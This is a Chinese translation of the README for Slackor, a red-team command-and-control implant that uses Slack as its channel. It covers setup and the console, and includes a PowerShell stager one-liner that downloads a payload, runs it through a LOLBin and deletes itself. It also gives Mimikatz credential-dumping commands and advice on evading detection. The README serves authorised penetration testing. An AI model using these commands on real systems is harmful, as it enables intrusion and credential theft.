一个用Golang编写的植入程序,使用Slack作为命令与控制服务器。
维护于 https://github.com/n00py/Slackor
一个使用Slack作为命令与控制通道的Golang植入程序。
本工具作为概念验证发布。在创建任何Slack应用之前,请务必阅读并理解 Slack App Developer Policy。
注意:服务器使用Python 3编写
要使其工作,您需要:
此仓库包含五个文件:
install.sh 安装依赖setup.py 创建Slack频道、数据库和植入程序的脚本agent.py 生成新植入程序的脚本server.py Slackor服务器,设计在Linux上运行agent.go Golang植入程序requirements.txt Python依赖(自动安装)开始使用:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
成功运行脚本后,dist/目录中将创建多个文件:
agent.windows.exe: Windows 64位二进制文件agent.upx.exe: Windows 64位二进制文件,UPX压缩agent.darwin: macOS 64位二进制文件agent.32.linux: Linux 32位二进制文件agent.64.linux: Linux 64位二进制文件在Linux主机上启动server.py后,执行上述适合目标主机的任意代理程序。
运行"stager"模块以生成单行命令和其他dropper。
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
这将执行InvokeWebRequest(PS v.3+)下载有效载荷,使用LOLBin执行它,一旦终止后自我删除。这是一个工作示例,但可以调整命令以使用其他下载方法或执行方法。
输入"help"或按[TAB]键查看可用命令列表。输入"help [COMMAND]"查看命令描述。
(Slackor)
一旦代理签到,您可以与其交互。 使用"interact [AGENT]"进入代理提示符。输入"help"或按[TAB]查看可用命令列表。
(Slackor:AGENT)
命令输出和下载的文件除了Slack的TLS传输加密外,还经过AES加密。
模块在执行写入磁盘的任务之前会发出警告。
执行shell命令时,请注意cmd.exe/bash将被执行。这可能在主机上被监控。
以下是一些OPSEC安全的命令,它们不会执行cmd.exe/bash:
用于红队/渗透测试是否安全?
是的,但有一些条件。虽然数据在传输过程中加密,但代理程序包含解密密钥。 任何获取代理程序副本的人都可以对其进行逆向工程,提取API密钥和AES密钥。 任何破坏或以其他方式访问工作区的人都可能检索其中的所有数据。 因此,不建议对多个组织重复使用同一基础设施。
Mimikatz呢?
植入程序没有内存密码转储功能。 如果您需要logonPasswords,可以尝试以下方法:
(Slackor: AGENT)minidump
这将使用Pypykatz自动提取密码。或者,您可以在Windows上使用Mimikatz。
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
是否跨平台?
它支持有限的跨平台。尚未在所有可运行的系统上进行全面测试。 服务器设计为在Kali Linux上运行。代理程序编译为Windows、Mac和Linux版本,但主要在Windows 10上测试。代理程序可能会错误处理其平台不支持的命令(不要尝试对Mac进行转储)。
扩展性如何?
可扩展性受限于Slack API。如果您有多个代理,请考虑增加未使用的beacon的信标间隔。
是否容易受到标准信标分析的影响?
目前每个信标内置20%的抖动,信标时间可自定义。只要没有收到新命令,代理的签到请求和响应包每次大小大致相同。
当有更好的方法[y]时,为什么你做了[x]?
我尽力了。欢迎提交PR :)
它被杀毒软件检测到了!
由于现在是开源的,难免会有问题。我会尽力修复模块,但不能保证始终绕过所有杀毒软件。